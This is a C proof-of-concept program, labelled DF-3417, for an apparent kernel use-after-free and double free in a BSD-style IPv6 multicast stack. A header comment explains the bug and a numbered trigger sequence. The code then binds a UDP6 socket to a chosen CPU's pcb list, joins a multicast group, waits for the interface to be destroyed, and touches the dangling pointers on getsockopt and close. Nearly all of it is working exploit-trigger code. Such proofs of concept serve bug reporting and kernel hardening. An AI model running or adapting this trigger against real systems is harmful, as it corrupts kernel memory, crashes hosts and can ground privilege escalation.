DF-3417 / mship.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | /* * DF-3417 PoC — in6_ifdetach() purges UDP6 socket moptions only from * udbinfo[0]; a UDP6 socket created on any other CPU keeps * a) im6o->im6o_multicast_ifp -> dangling ifnet pointer * b) im6o->im6o_memberships -> mship whose i6mm_maddr was kfree()d by * the force-leave loop in in6_ifdetach_dispatch (in6_ifattach.c:820-826) * Closing the socket runs ip6_freemoptions() -> in6_delmulti(freed in6m) * -> UAF read of in6m_ifma / LIST_REMOVE write into freed chunk / kfree() * again (double free). * * usage: mship <pcbcpu> <ifname> * <pcbcpu> : desired udbinfo[] index; the pcb lands on * udbinfo[ntohs(lport) % netisr_ncpus] after bind() * (udp_usrreq.c:1395 udp_inswildcardhash -> in_pcblink), * so we scan for a local port with that residue. * 1. pick port p with p % netisr.ncpus == <pcbcpu>, bind() * 2. IPV6_JOIN_GROUP ff1e::1%<ifname> -> mship in im6o_memberships, * in6_multi on in6_multihead * 3. IPV6_MULTICAST_IF <ifname> -> im6o_multicast_ifp = raw ifp * 4. print READY, wait until the interface disappears * 5. getsockopt(IPV6_MULTICAST_IF) -> deref of (possibly reused) freed * ifnet; prints resulting index * 6. close(fd) -> ip6_freemoptions on stale mship * * control run: pcbcpu 0 -> purge clears everything, STALEIDX=0, clean close * test run: pcbcpu 1 -> dangling pointers survive interface destroy */ #include <sys/param.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/if.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { struct ipv6_mreq mreq; unsigned int mcif, got; socklen_t len; struct in6_addr grp; struct sockaddr_in6 bindaddr; size_t slen; int ncpus = 1; int port; long want; int s, r; if (argc != 3) { fprintf(stderr, "usage: %s <pcbcpu> <ifname>\n", argv[0]); return 2; } want = atol(argv[1]); slen = sizeof(ncpus); if (sysctlbyname("net.netisr.ncpus", &ncpus, &slen, NULL, 0) != 0) ncpus = 1; if (want >= ncpus) { fprintf(stderr, "want %ld but netisr.ncpus=%d\n", want, ncpus); return 2; } if ((s = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) { perror("socket"); return 2; } /* choose a local port whose hash lands the pcb on udbinfo[want] */ for (port = 9100; port < 9400; port++) { if ((port % ncpus) == want) break; } memset(&bindaddr, 0, sizeof(bindaddr)); bindaddr.sin6_family = AF_INET6; bindaddr.sin6_len = sizeof(bindaddr); bindaddr.sin6_addr = in6addr_any; bindaddr.sin6_port = htons(port); if (bind(s, (struct sockaddr *)&bindaddr, sizeof(bindaddr)) != 0) { fprintf(stderr, "bind(%d): %s\n", port, strerror(errno)); return 2; } printf("BOUND port=%d (%% %d = %ld)\n", port, ncpus, want); fflush(stdout); if (inet_pton(AF_INET6, "ff1e::1", &grp) != 1) { perror("inet_pton"); return 2; } memset(&mreq, 0, sizeof(mreq)); mreq.ipv6mr_multiaddr = grp; mreq.ipv6mr_interface = if_nametoindex(argv[2]); if (mreq.ipv6mr_interface == 0) { fprintf(stderr, "if_nametoindex(%s): %s\n", argv[2], strerror(errno)); return 2; } if (setsockopt(s, IPPROTO_IPV6, IPV6_JOIN_GROUP, &mreq, sizeof(mreq)) != 0) { fprintf(stderr, "JOIN_GROUP: %s\n", strerror(errno)); return 2; } mcif = mreq.ipv6mr_interface; if (setsockopt(s, IPPROTO_IPV6, IPV6_MULTICAST_IF, &mcif, sizeof(mcif)) != 0) { fprintf(stderr, "MULTICAST_IF: %s\n", strerror(errno)); return 2; } printf("READY pcbcpu=%ld if=%s idx=%u\n", want, argv[2], mreq.ipv6mr_interface); fflush(stdout); /* wait for the interface to be destroyed */ while (if_nametoindex(argv[2]) != 0) usleep(20000); printf("IFACE-GONE\n"); fflush(stdout); usleep(300000); /* let if_detach fully finish */ got = 0xdeadbeef; len = sizeof(got); r = getsockopt(s, IPPROTO_IPV6, IPV6_MULTICAST_IF, &got, &len); printf("STALEIDX r=%d val=0x%x (%s)\n", r, got, r ? strerror(errno) : "ok"); fflush(stdout); usleep(200000); printf("CLOSING\n"); fflush(stdout); close(s); /* <- ip6_freemoptions on stale mship */ printf("CLOSED-OK\n"); fflush(stdout); return 0; } |